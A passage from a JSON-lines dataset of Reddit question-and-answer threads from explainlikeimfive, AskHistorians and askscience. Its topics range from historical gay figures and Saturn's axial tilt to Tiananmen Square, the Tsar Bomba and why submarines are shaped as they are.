When the subtle air, the impalpable, the sense that words and \n\n >           reason hold not, surround us and pervade us, \n\n >  Then I am charged with untold and untellable wisdom, I am \n\n >           silent, I require nothing further, \n\n >  I cannot answer the question of appearances or that of identity \n\n >           beyond the grave, \n\n >  But I walk or sit indifferent, I am satisfied,\n\n >  He ahold of my hand has completely satisfied me.\n\n\nThere's some debate as to how far he was trying to out himself (and \"gay\" didn't really exist as an identity at this point in American history the way it does now)... but dude. \n\n\nSource: [Walt Whitman archive, \"Sex and Sexuality,\" James E. Miller Jr.](_URL_1_)", "This is a difficult question to answer for a couple reasons.  \n1. Gayness as identity: Something I talk about a lot on this sub is the newness of the concept of homosexuality as an identity. Historically, homosexuality was something someone did, not something they were. That is to say that people did not see the gender of their sex partners as a factor in their identity. So the idea of a \"gay\" person, as you describe would only apply to fairly recent times (and is also a primarily western concept.)  \n2. Outness and public knowledge: The idea of being \"out\" as we understand it today is an even newer concept. Public acceptance of homosexuality and coming out inform and influence each other - the more out people, the more the public comes to accept them; the more society accepts gay people, the more people come out. Coming out as a political tactic and as a widespread practice, did not really get going until after Stonewall (not to say that people did not come out before.) AIDS brought a new level of outness in the late eighties and nineties as the illness forced gay men out of closets and groups like ACT UP and Queer Nation celebrated gay identity.  \n3. Gay visibility: going hand in hand with identity and outness, visibility of gay people has increased over the last fifty years. This means both that we are more aware of gay people and that we are better at picking up on signals of gayness. This makes it easier to recognize gay people who are not out. This is something that has become more and more prevalent over time. Most importantly gay people have become more visible *to straight people* as gay visibility has increased. Think about Liberace and his fierce closet. Now we are all attuned to signals of gayness and it's very easy to read him as gay. And yet a large segment of the population was oblivious (or willfully ignorant.) Someone with that level of \"obvious gayness\" today would not go unnoticed.  \n\nSo because of these factors the answer to your question would likely be someone quite recent. It would be a person who 1. actively identified as gay (either of his free will or had been publicly outed and *had confirmed that outing*) 2. was publicly and visibly gay (acknowledged it publicly or had confirmed and acknowledged ties to same sex lovers) 3. was \"famous\" to the general public.  \nHow you define \"famous\" is obviously going to influence how you answer this question. Another factor is time; it's hard to gauge \"famousness\" through the lens of history. The people who remain famous today were not the only ones well known in their time.  Also, I don't think there is one precise answer. I will offer a few people who meet these requirements, although I want to make it clear that there are many possible answers.  \nHarvey Milk was not the only openly gay politician in the 1970's, nor way he the first; but he did reach a high level of visibility (unfortunately mostly through his death.)  \nBillie Jean King was outed in 1981, and confirmed that outing. Both her position as a tennis player and her public status as a lesbian contributed to her fame.  \nBarney Frank came out in 1987 while a member of congress.  \nPedro Zamora was publicly gay and HIV+ on The Real World: San Francisco in 1993 (the show aired in 1994) bringing gayness and HIV/AIDS into the public spotlight, particularly for young people.  \n\nAgain, this is a difficult question to answer, and depending on how you interpret it you are going to get a lot of possible answers. I hope I was at least able to provide some context. ", "One candidate would be [Major General Friedrich Wilhelm von Stuben](_URL_0_) who served under George Washington in the Revolutionary war.\n\nHe was certainly famous, because he was a ranking Revolutionary War General, and [he designed the training program for colonial forces.](_URL_2_)\n\nI don't believe he is known to have come out as openly gay, but it was well known that he was a homosexual, and was driven out of Prussian military service after being charged with  \"taking familiarities with young boys\".  [He never married, bore no children, and left his estate to two fellow officers with whom he shared an \"intense emotional relationship\".](_URL_1_)\n\nIn a way he was a bit of a hipster, in that he was a famous homosexual before the United States was the United States, (although he, himself, did not become a U.S. citizen until 1784).\n", "As a side question: Originally the word homosexual was used strictly as an adjective, now it can be used both as a noun and an adjective. When did its use as a noun begin? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://whitmanarchive.org/published/LG/1891/poems/45", "http://whitmanarchive.org/criticism/current/encyclopedia/entry_49.html"], [], ["http://outhistory.org/wiki/Friedrich_Wilhelm_von_Steuben:_September_17,_1730-November_28,_1794", "http://en.wikipedia.org/w/index.php?title=Friedrich_Wilhelm_von_Steuben#Final_years", "http://en.wikipedia.org/wiki/Friedrich_Wilhelm_von_Steuben#Training_program"], []]}
{"q_id": "4gxacb", "title": "Do all of the planets orbit on the same level, and if so why does it appear that we're \"looking up\" at Saturn through Earthbound telescopes?", "selftext": "Example:\n_URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4gxacb/do_all_of_the_planets_orbit_on_the_same_level_and/", "answers": {"a_id": ["d2llhyk", "d2lnsme", "d2lvy1r", "d2lzhck"], "score": [47, 198, 2, 19], "text": ["They all orbit close to the equatorial plane. They usually spin close to it, but not as much. Saturn in particular is off by about 27 degrees. Depending on the time of year, it can be tilted differently as shown in [this composite photo](_URL_0_).", "The planets' orbits are all very close together, within 6 degrees of the ecliptic (the plane formed by the Sun's apparent motion from Earth.)\n\nSaturn's rotational axis (and subsequently rings) is tilted 27 degrees relative to \"vertical\" for its orbit, much like Earth's rotational axis is tilted. This is in addition to the orbit being (barely) tilted relative to the ecliptic. Since Saturn's orbit takes roughly 29 years, there are long seasons of \"looking up\" and \"looking down\", and shorter \"edge-on\" seasons. \n\nSaturn's last equinox was Aug. 11, 2009, so it should be late in it's \"looking down\" phase currently (Northern hemisphere summer, Southern winter.) The next solstice will be somewhere around mid-December 2016.\n\n_URL_0_  \n_URL_1_", "Looks like there are a few answers about the perspective of planets, here is an answerabout the arrangement of planets ina disk. Planets form in a plane because they are made from the leftover gas and dust from their star. This accretion disk of leftover material condenses into lumps that collide with larger and larger lumps until they form planets. _URL_0_", "Yes, as others mentioned the planets are in approximately the same plane. \n\nWhen you say \"looking up\", it really seems like you think that must be the plane of the ground you're standing on. Earth is round, and \"up\" is different directions for different people. I hope this isn't your confusion.\n\nOn the other hand, you could be surprised it looks like we see Saturn \"from underneath\" or that we see it's South Pole. Like Earth, Saturn is tilted. At different times, we can see it's South Pole, North Pole, or an \"edge on\" view. Though the planets each follow approximately the same plane, each has a spin that is tilted with respect to that plane.  _URL_0_"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/ukrhUEm.png"], "answers_urls": [["http://www.universetoday.com/wp-content/uploads/2008/07/seasons.jpg"], ["http://www.space.com/23235-rings-of-saturn.html", "https://saturn.jpl.nasa.gov/science/rings/"], ["https://en.m.wikipedia.org/wiki/Formation_and_evolution_of_the_Solar_System"], ["https://en.wikipedia.org/wiki/Axial_tilt"]]}
{"q_id": "14c8c4", "title": "What is the oldest existing digital file?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14c8c4/what_is_the_oldest_existing_digital_file/", "answers": {"a_id": ["c7br21x", "c7br65q", "c7bvn6c", "c7bw3nl"], "score": [9, 14, 8, 2], "text": ["I'm gonna go with RNA. :)", "It was most likely a [punch card](_URL_0_).", "Are you asking what is the oldest file that is recorded in magnetic memory?", "1.1.1970 xD\n\nWe all know these files, don't we?\n\n_URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Punched_card"], [], ["http://en.wikipedia.org/wiki/Unix_time"]]}
{"q_id": "2b4wea", "title": "How true is it that Prescott Bush was involved in an attempt to overthrow the Roosevelt government and install a fascist regime?", "selftext": "Wikipedia, particularly the article concerning the Business Plot, has been scrubbed of all mention of Prescott Bush's (Yes, GWB's grandfather) involvement in the Business Plot.\n\nI was wondering if it was removed because it is not true, or if the Bush family has paid someone to scrub it, or if all of it is fringe conspiracy nonsense that conspiracy theorist embellished with their own rewritten version of history.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2b4wea/how_true_is_it_that_prescott_bush_was_involved_in/", "answers": {"a_id": ["cj2bx2b"], "score": [4], "text": ["BBC Radio-4 did a great report on it on 2007/07/23 but I can't find the recording.\n\nI can't speak to the speculation that the Bush family or its proxy is editing wikipedia to retcon their involvement however.\n\nedit: Seems this is on Youtube  _URL_0_ (part 1 of 3)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=UXGUgFXoRu4"]]}
{"q_id": "26w2ls", "title": "How likely is it that Li Ching-Yun lived until he was 197?", "selftext": "Just heard of this story on Facebook. Wikipedia sounds like he could have just lied. Is there any soldi proof he lived so long?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26w2ls/how_likely_is_it_that_li_chingyun_lived_until_he/", "answers": {"a_id": ["chv5dzo"], "score": [6], "text": ["Unless there was some really screwy calender system involved, so that really Li was only 98.5 (98.5 = 197/2) in sidereal years, or something, I don't see how it's possible.  Mr. Li was probably exaggerating for \"spiritual value\".  Interpret that as you will.  It's also possible, given the widely varying numbers that Li Ching-Yun gave in different sources, that he himself did not know exactly how old he was, but simply made up a very large number that would make him by far the oldest person in whatever situation he was in at the time he was writing.   So no, as far as we know, it's very extremely rare for humans to live beyond 120 years, and 197 is firmly into \"almost certainly a hoax\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wy1vs", "title": "tsar bomba, the largest nuclear bomb ever detonated, has a \"total destruction\" radius of 15 miles, and gives 3rd degree burns to everyone within a 64 mile radius. how does the pilot of the bomber survive the detonation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wy1vs/eli5tsar_bomba_the_largest_nuclear_bomb_ever/", "answers": {"a_id": ["cov5h8a", "cov5o8v", "cov62ks", "cov659u"], "score": [13, 3, 6, 2], "text": ["Airplanes are fast, and the Ruskies also attached a large parachute to the bomb to slow its descent and give the plane time to escape.", "I'd have thought that 64 mile range would be people in direct line of sight of the explosion. After the explosion at Hiroshima, there was evidence of people and buildings suffering burns only where they had direct sight of the explosion. There were haunting images of buildings with unburned silhouettes of the people who happened to be walking past at the moment the bomb went off. \n\n[For example](_URL_0_)", "As a matter of fact, the crew of the bomber were nearly killed when the shockwave from the detonation stalled their aircraft and sent them into a dive. They recovered within a few thousand feet and survived. Consider for a moment that they also had a 188 second head start thanks to a massive parachute attached to the bomb and designed to slow its decent for that exact reason. Soviet scientists had originally planned on making the Tsar Bomba twice as large, but calculated that even with a parachute drop from the highest possible altitude, the airplane and crew that dropped it would still be killed. That's a big fucking bomb.\n\nI did some math actually. The Tsar Bomba, as you said, is the largest nuclear device ever detonated by mankind. It had a yield of 58 mega tons. That's the equivalent explosive power of 58,000,000 tons of dynamite. Given an average weight of an 8inch stick of dynamite, you'd have something on the order of 232,000,000,000 sticks of dynamite going off all at once. Just to put that into perspective, if you lined those sticks up end to end it would be the width of our Sun, plus another 33 Suns.\nThat's a lot of dynamite.", "The bomber avoided the actual fireball by roughly a mile, but was still hit by the shockwave.\n\n > When detonation occurred, the Tu-95V fell one kilometre from its previous altitude due to the shock wave of the bomb.\n\nThe plane and pilot avoided a fair amount of the damage because of a special paint, known as [anti-flash white](_URL_0_), which reflects thermal radiation. I can't find anything that puts a number on its effectiveness, but I guess the results speak for themselves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/yvw8ZG3.jpg"], [], ["http://en.wikipedia.org/wiki/Anti-flash_white"]]}
{"q_id": "5ds6tk", "title": "how do nuclear launch codes work exactly, and can just about anyone use it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ds6tk/eli5_how_do_nuclear_launch_codes_work_exactly_and/", "answers": {"a_id": ["da6vnc9", "da6wwkw"], "score": [13, 27], "text": ["You're the president. You order a nuclear launch. You go to your vault that contains the instructions on how to do this. It probably contains a code. You give this code to the silo that will make the launch. This could be done by a secure internet connection, verbally by satellite phone call, or some other medium of communication. Another high ranking military official probably has to make the same decision. The silo then takes these codes, confirms that they are valid (likely by an on-site manual checksum that was pre-calculated for the codes you and your other military officer have) then enters the codes into the [PAL](_URL_0_) which arms the nuclear missile. The computer directing the missile's flight is then programmed with the target and the missile is launched.\n\nNobody knows *for sure* how the launch would work, because the protocol is highly protected to prevent someone faking the launch code or launch protocol, and nobody has ever done a full launch. Simulated launches are done all the time for tests and training, but the president isn't involved in those. An incoming message with a simulated code is sent to the silo and the on-site personnel act out their part up to pressing \"launch\" which does nothing due to the code being fake and likely the operators using a simulator instead of the real launch room.\n\nNuclear launch codes (or at least PAL codes) at this point are 12-character strings of gibberish.", "This was covered in part by This American Life recently. \n\n_URL_0_\n\n\"So, here's the thing about the codes that people don't realize. It's not like he has a piece of paper in his pocket. It's like, here are the nuclear codes. It doesn't work that way. How it works is, there's a military officer that walks around with what's called a Football. That officer, he's got more experience than I do. And at the end of the day, if the president goes off the handle and says, nuke these guys because I don't like them, we're taught, in the military, as officers, that we have a moral obligation to refuse orders that are not moral. So if my commander tells me to do that, and it is not moral, I have an obligation to tell him to [BLEEP] off.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Permissive_Action_Link"], ["https://m.thisamericanlife.org/radio-archives/episode/602/transcript"]]}
{"q_id": "57rrou", "title": "lets say a 90 year old man gets a total organ transplant (-brain) from a 20 year old, would they technically be younger?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/57rrou/eli5_lets_say_a_90_year_old_man_gets_a_total/", "answers": {"a_id": ["d8ueqn4", "d8ufpsy"], "score": [2, 7], "text": ["Is that -brain as in \"not the brain\" or is it to mean that the brain is the transplanted organ?\n\nIf it does mean to brain, if we cold do it, it would really be a body transplant, not a brain transplant because what makes a person a person is in the brain, not the body.\n\nIf it's the other way around, I'm not sure.  As a body ages there are a lot of changes that go on, things like more toxins floating around, more replication errors, etc.  I'd imagine that those would all put additional stress on the \"younger\" organ and reduce its potential lifespan. ", "There are two main scientific definitions of aging: chronological age and biological age. Chronological age is the time since birth. Biological age is based on physiological function and cellular processes and can be calculated, or approximated, for individual organs and tissues. For example you can measure the filtering ability of the kidney, and you can measure the expression level of certain genes in kidney cells that are correlated with aging. So it depends on what you mean by \"technically\". \n\nIt may be more useful to go with the concept of aging as leading to an increased risk of death. If kidney disease was this person's most serious health risk, you could say that he would be \"younger\" after a transplant based on decreased mortality. However, there are a host of other problems associated with aging, such as dementia, heart disease, cancer, diabetes, etc., that are caused by numerous factors and involve the buildup of plaques and accumulated damage, many of which would not be solved by organ transplants. Atherosclerosis, for example, is the buildup of plaques in the arteries. An unlodged plaque anywhere in the body could cause a heart attack or a stroke, so unless you replace all of the arteries, those problems are still there. Dementia is associated with the buildup of plaques in brain cells, so this would not be alleviated.\n\nAging is very complex and not very well-defined. If someone were to look at the person and say \"he\nseems so much younger\" based on his activity level, skin tone, personality, etc., that's arguably more relevant than anything else. Or rather the subject's own feelings. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3bp6kx", "title": "During the American Revolutionary War, was George Washington a great tactician, or was someone else better known for that?", "selftext": "I was doing homework and George Washington has come up a lot as a student, but never really focused on his military career in comparison to other officers at the time. Some specific points I want to know is, who were the more \"brilliant\" tacticians of the day, what where they doing at the time and what was their relationship to him and maybe vice versa. \n\nThank you for any information. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3bp6kx/during_the_american_revolutionary_war_was_george/", "answers": {"a_id": ["cso8dtk"], "score": [9], "text": ["Washington did not start out very well as either a tactician or a strategist.  He learned quickly, however, and ended up pretty good at both.\n\nWashington came closest to blowing the whole American Revolution when he decided to defend New York from Brooklyn.  He was totally vulnerable to having the whole Continental Army either destroyed, or cut off on Long Island, or later on Manhattan, and destroyed at the leisure of the British.\n\nWashington saw the danger after the first day of battle in Brooklyn, and luckily, the Marblehead Regiment was able to ferry the whole Army across the East River to Manhattan that night.\n\nIf the British had moved faster with their fleet or army to cut him off, they might have won the whole war.\n\nEven when the Army got to Manhattan, they had to race the British north to the bridges to the mainland to escape.  A race which  they  won.\n\nThat was the closest the British came to winning the Revolution.\n\nWashington was a quick learner.  After that he made sure to never risk his army where they could not retreat to safety into the interior of the Continent.\n\nHis tactics also got better, as shown by the crossing of the Delaware and winning the  battles of Trenton and Princeton.\n\nStill, Washingtons strategy was generally better than his tactics.  He knew that if he could keep the Continental Army  intact, the British would have a difficult time winning the war.\n\nWhen he saw his chance to catch Cornwallis in Yorktown, unsupported by the British fleet, his response was rapid, and he marched the Army (and persuaded his French allies to march) the long  way down to Yorktown to the siege which proved the decisive battle of the war.\n\nSo, one of Washington's strengths was that though he was inexperienced in general command, he learned quickly.  He was thoughtful about his mistakes.  He never made the same mistake twice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "222v7r", "title": "How do I get this plate out of a cooking pot?", "selftext": "I dropped a plate into the pot. At the time I noticed it was a remarkably tight fit. So much so that the plate nearly \"floated\" down to the bottom of the pot because the air didn't have much room to equalize past the plate. I come back 1-2 days later to do the dishes, and lo and behold, the plate is stuck at the bottom of the pot.\n\nIt's a plastic plate stuck in a 3 qt pot. It's wet, and the plate has no \"handle\" to be able to pull up on it. The seal between the plate and the pot is tight enough to hold water. I can turn the pot over and hear water in between the plate and bottom of the pot, but the water doesn't drip. \n\nHow in the hell do I get this plate out without damaging the pot and plate?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/222v7r/how_do_i_get_this_plate_out_of_a_cooking_pot/", "answers": {"a_id": ["cgiws82", "cgixb8t"], "score": [2, 3], "text": ["Do you have any heavy duty suction cups to try pulling it with? maybe a sink plunger?\n\nOtherwise, you need to break the suction. Can you spare the plate? if so, since it's plastic, use a steak knife or something sharp to bore a hole into it. ", "Heat the pot. The only reason the plate managed to fit in the pot in the first place was because of heat expansion when you were using the pot; afterwards the pot cooled and shrank, and thus the plate got stuck. Solution: heat the pot and re-expand it. The plate will fall right out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1tlzh6", "title": "How did ancient civilizations rationalize state of matter changes?", "selftext": "The most common example of course would be the change of water from a frozen ice solid, to liquid water, to a gas.  I have no doubt that ancient civilizations in appropriate environments understand the relation between the substances, but how did they explain the changes?  Did they attribute spiritual meaning to it, or was it largely ignored and unexplained?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tlzh6/how_did_ancient_civilizations_rationalize_state/", "answers": {"a_id": ["ce9e62o", "ce9gu8k"], "score": [15, 27], "text": ["You should check out \"The Grand Contraption\" by David Park. It tells the history of many different philosophies from the ancient world and how they tried to explain the world around them. It talks about the evolution of logical thought and how people saw their world based on culture, philosophy, and even early mathematics/numbers.", "I can't speak specifically to your example of water's physical states, but I can give some more broad explanations:\n\nWithin the Greek philosophical schools of thought, different philosophers approached these  questions differently. \n\nInterestingly enough, **Thales of Miletus**, a part of the Rationalist school of thought (~600BC - ~Early 5th BC), theorized that all matter was actually made from water. Since [Miletus](_URL_0_) was located on the water, this seemed to be an appropriate theory. His contemporaries (I don't know specific names) believed that everything was made of the four basic elements, earth, water, fire, wind.\n\nTo answer the more theoretical side of the question, regarding states of matter changing, **Democritus of Abdera**(also a rationalist) actually theorized an atomic theory that atoms were infinite and indivisible. In addition **Heraclitus of Ephesus** believed that the Universe was in constant motion, and thus no true knowledge could be gained. The ideas of Heraclitus allowed for a paradigm shift.\n\nThis paradigm shift actually led to a focus on more human concerns and away from this big questions. You can check out **Protagoras**, a part of the Sophist school of thought.\n\nAfter this period of Sophism, there was a shift back to the more broad thinking that your question asks. This school of thought was known as Universalism (~430BC - 330BC). The most well known philosophers were of course Socrates, Plato, and Aristotle. \n\nWith regards to the states of matter and a spiritual meaning, Aristotle may have addressed this most clearly (from what I know). He believed that form (a universal idea) was equal to matter (reality). For example, when you think of a horse, you think of a four legged creature, with a tail, that's kinda big, and carries humans, right? So he believed that our idea was equal to the reality. I'm not totally clear on this idea, but am kind of thinking in terms of what I was taught. However, **here's the big answer**, because of this, he believed that everything came from the same source, so to that source it would return. \n\nIn this way, the Universalists definitely approached the more concrete ideas of matter and states of matter with a spiritual meaning. I believe, that to them, the source of everything, and states of matter, represented some sort of \"truth\" or \"God\".\n\nEdit:\nI hope this made, sense and wasn't too confounding! The school's of thought are pretty heavy in terms of depth.\n\nSource:\nWestern Civilization course @ CC\n\n[A Brief History of the Western World, Vol. 1, by Greer and Lewis](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://upload.wikimedia.org/wikipedia/commons/f/f9/Miletus_Bay_silting_evolution_map-en.svg", "http://www.amazon.com/Brief-History-Western-World-Volume/dp/0534642373"]]}
{"q_id": "ja0ud", "title": "explain (like i'm five) tienanmen square", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ja0ud/explain_like_im_five_tienanmen_square/", "answers": {"a_id": ["c2adki4", "c2adkmy", "c2adtoe", "c2aegap", "c2adki4", "c2adkmy", "c2adtoe", "c2aegap"], "score": [11, 3, 37, 7, 11, 3, 37, 7], "text": ["China is communist. People in China don't have a lot of say in how their government runs. In 1989 people in China started protesting because they wanted a democracy. The government did not want a democracy. \n\nChinese people flooded the streets and started gathering in Tienanmen Square. All of China was in protest. The government sent soldiers to stop the people from protesting. The soldiers then shot at the protesters to make them go away. Lots of people died. ", "People in China like freedoms.\n\nChinese government wants to control their people so they take away their freedoms.\n\nYoung people are very optimistic and want to change their world so many people (including many college students) form a protest in a place called Tienanmen square to attract attention and hopefully show the government they are serious about wanting change.\n\nGovernment tells the protestors \"stop being little brats and go back to your school/work/daily lives! We're bringing our tanks and guys with guns to show you we are serious!\"\n\nOne guy says \"enough is enough!\" and stands in front of a line of tanks. He represents the resolve and courage of all the protesters and shows that even the smallest thing (1 man) can stand up to a larger power (the line of tanks which represents the Chinese government and all their military power and political might).\n\nPhotographer takes a picture of this act and it is spread around the world is a very famous photo.\n", "Think of China like a school, the teachers are the politicians, and the kids are the people. Now this school isn't run very well, and for a while it tried to teach their kids stupid things and forgets to buy food so the kids didn't get lunch. (China attempted a bunch of changes they called reforms which didn't work so well and left people without food.)\n\nWhen the school finally figure that starving the kids was not a good idea they changed it to be more like the West. Only they didn't do it so well and the teachers play favorites with the kids and gave them extra candy and special privileges. (Corruption, largely carried out by the children of politicians) Any children that questioned the teacher was beat and put in detention.\n\nHowever, one of the teacher was nice to the kids and was fired. (General Secretary of the Communist Party [Hu Yaobang](_URL_0_)) When that teacher passed away, a bunch of kids wanted to pay their respect because that teacher was nice to them. They decided to gather at the school court yard, Tienanmen Square.\n\nThe kids were paying their respects to the teacher and they thought about how the teacher was nice to them, and they started questioning the other teachers, asking them why the teachers starved them, only to play favorites and punish the kids whenever they say something bad about the teachers. The kids wanted the teachers to be more fair and they wanted to get a say in who gets to teach them.\n\nThis went on for a few days and the kids were getting more bold and more kids were joining in every day. The teachers were getting scared. So the teachers sent the security guards (army) to disband the kids. They told the security guards to do anything they have to, which caused some kids to get hurt (killed). \n\nThat is the simplest I can make it, but you should know there were a lot more motivations behind the protest.", "In China, people can't tell the government what to do. Things used to be very bad, especially before 1980. But when a man named Deng Xiaoping came to power, he began making things better. He let people keep any extra stuff they made, and began allowing a more free market. He made the army stronger, wanted better scientific research, and wanted a better farming system, as well. The Chinese people liked these things, and wanted to be able to tell the government what to do, as well. But Deng didn't like that idea. So the people went to the big square in the capitol and started to ask for the ability to tell their government what to do. Deng knew that if he gave in, the country could collapse, like what was happening in the big Communist country, the Soviet Union. So he said no. The people continued to ask, so he sent in the army. Many people died because they believed that they should be allowed to tell the government what to do. But Deng was right in the end. In the Soviet Union, the government had given people all the freedoms Deng had given the Chinese, and they started to give them the ability to tell the government what to do. Because they made this happen too fast, the Soviet Union fell apart and became what we call Russia today.", "China is communist. People in China don't have a lot of say in how their government runs. In 1989 people in China started protesting because they wanted a democracy. The government did not want a democracy. \n\nChinese people flooded the streets and started gathering in Tienanmen Square. All of China was in protest. The government sent soldiers to stop the people from protesting. The soldiers then shot at the protesters to make them go away. Lots of people died. ", "People in China like freedoms.\n\nChinese government wants to control their people so they take away their freedoms.\n\nYoung people are very optimistic and want to change their world so many people (including many college students) form a protest in a place called Tienanmen square to attract attention and hopefully show the government they are serious about wanting change.\n\nGovernment tells the protestors \"stop being little brats and go back to your school/work/daily lives! We're bringing our tanks and guys with guns to show you we are serious!\"\n\nOne guy says \"enough is enough!\" and stands in front of a line of tanks. He represents the resolve and courage of all the protesters and shows that even the smallest thing (1 man) can stand up to a larger power (the line of tanks which represents the Chinese government and all their military power and political might).\n\nPhotographer takes a picture of this act and it is spread around the world is a very famous photo.\n", "Think of China like a school, the teachers are the politicians, and the kids are the people. Now this school isn't run very well, and for a while it tried to teach their kids stupid things and forgets to buy food so the kids didn't get lunch. (China attempted a bunch of changes they called reforms which didn't work so well and left people without food.)\n\nWhen the school finally figure that starving the kids was not a good idea they changed it to be more like the West. Only they didn't do it so well and the teachers play favorites with the kids and gave them extra candy and special privileges. (Corruption, largely carried out by the children of politicians) Any children that questioned the teacher was beat and put in detention.\n\nHowever, one of the teacher was nice to the kids and was fired. (General Secretary of the Communist Party [Hu Yaobang](_URL_0_)) When that teacher passed away, a bunch of kids wanted to pay their respect because that teacher was nice to them. They decided to gather at the school court yard, Tienanmen Square.\n\nThe kids were paying their respects to the teacher and they thought about how the teacher was nice to them, and they started questioning the other teachers, asking them why the teachers starved them, only to play favorites and punish the kids whenever they say something bad about the teachers. The kids wanted the teachers to be more fair and they wanted to get a say in who gets to teach them.\n\nThis went on for a few days and the kids were getting more bold and more kids were joining in every day. The teachers were getting scared. So the teachers sent the security guards (army) to disband the kids. They told the security guards to do anything they have to, which caused some kids to get hurt (killed). \n\nThat is the simplest I can make it, but you should know there were a lot more motivations behind the protest.", "In China, people can't tell the government what to do. Things used to be very bad, especially before 1980. But when a man named Deng Xiaoping came to power, he began making things better. He let people keep any extra stuff they made, and began allowing a more free market. He made the army stronger, wanted better scientific research, and wanted a better farming system, as well. The Chinese people liked these things, and wanted to be able to tell the government what to do, as well. But Deng didn't like that idea. So the people went to the big square in the capitol and started to ask for the ability to tell their government what to do. Deng knew that if he gave in, the country could collapse, like what was happening in the big Communist country, the Soviet Union. So he said no. The people continued to ask, so he sent in the army. Many people died because they believed that they should be allowed to tell the government what to do. But Deng was right in the end. In the Soviet Union, the government had given people all the freedoms Deng had given the Chinese, and they started to give them the ability to tell the government what to do. Because they made this happen too fast, the Soviet Union fell apart and became what we call Russia today."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Hu_Yaobang"], [], [], [], ["http://en.wikipedia.org/wiki/Hu_Yaobang"], []]}
{"q_id": "erfqxz", "title": "how do people have the ability to read in someone else's voice? multiple of them in fact?", "selftext": "I was recently reading a writing prompt and noticed that a lot of people said they were reading it in someone else's voice. Now, I know it's possible, but how does it work?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/erfqxz/eli5_how_do_people_have_the_ability_to_read_in/", "answers": {"a_id": ["ff3e2fu", "ff3j229"], "score": [6, 10], "text": ["Think of a distinctive voice. Say, Morgan Freeman. You can hear, in your mind, what he sounds like, right? Well, just apply his accent, speech patterns and mannerisms to something you're reading. It won't be a perfect impression, but that doesn't matter, because you're already thinking of it in terms of how *you* think he sounds anyway.", "You know how you have like, an inner voice? It's the thing that's reading this right now. That voice - its pitch, mannerisms, accent, dialect - is held in your memory somewhere. You can remember other people's voices in the same way, if you listen to them enough. Then, when you read something that you subconsciously associate with that person, you may find you're reading it in that person's voice instead of your inner voice. To experiment with this, go watch a full season of Planet Earth, then read a wikipedia article about frogs. You'll probably read it in David Attenborough's voice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "42709m", "title": "why aren't submarines designed more aerodynamically?", "selftext": "With their big round fronts, I would think they would have fairly high drag coefficients.  Why not make them more aerodynamic?  Is it simply because of space considerations?\n\n**Edit: Yes, I should have written \"hydrodynamically.\"  I think the question has been fully answered.  Thanks, everyone.**", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42709m/eli5_why_arent_submarines_designed_more/", "answers": {"a_id": ["cz82y3m", "cz82ycj", "cz82zi4", "cz83k2c", "cz88wyd"], "score": [2, 56, 7, 2, 2], "text": ["Water pressure is a *huge* issue when you've got a giant metal tube full of humans at 8-900 ft below water.  I've never studied submarine engineering but I've swam to the bottom of a 10ft pool  &  felt my ears pop so I'm going to guess that it's a big concern for them.\n\nAt 800 feet below sea level, you're looking at over 20x the pressure of being at the surface.  That's a lot of pressure.", "A big round front isn't as non-hydrodynamic as you'd think.  At the speeds they move at this round front is actually pretty close to ideal.  Any deviation from the ideal front shape is likely to make it stronger against the crushing pressures that they operate at.\n\nWhen you're looking at how aero- or hydro-dynamic an object is it is instinctual to look at the front of the object, since that's the part that will be \"hitting\" the air or water.  However, so long as you're going slower than the speed of sound, it's actually more important to look at the back of the object.  As the fluid goes past the back of the object it needs to rejoin.  If there's a big, boxy end to the object then there's a big region at the back where the fluid tries to re-join and can't come back together fast enough, so you're left with a big low-pressure zone.  It's much better to make a tear-drop shape that will help the fluid to come together.\n\n[This](_URL_0_) image illustrates this idea quite nicely.  On the top is a sphere where you can see the flow detaches on the back side and there's a large region of separated flow, which means more drag.  On the bottom is a teardrop shape that minimizes the separated flow.\n\nThis is why airfoils have their distinctive shape\u2014blunt at the front and tapered at the back.  It's also why commercial jets have big, blunt fronts and tapered backs (they taper up so that they can rotate the nose upward during takeoff).  Only when you look at supersonic aircraft or missiles do you see a sharp point on the front.  In this case that point is starting the shock wave and the rest of the aircraft is designed to be behind the shock wave.  \n\nWhen you look at a submarine you see that they also taper at the rear.  Water is much more viscous so they can use a proportionally shorter taper. ", "They aren't designed aerodynamically, they are designed hydrodynamically. And the design [they have](_URL_0_) is the way it is because it is hydrodynamic.\n\nHowever, there are greater considerations than speed, such as stealth and 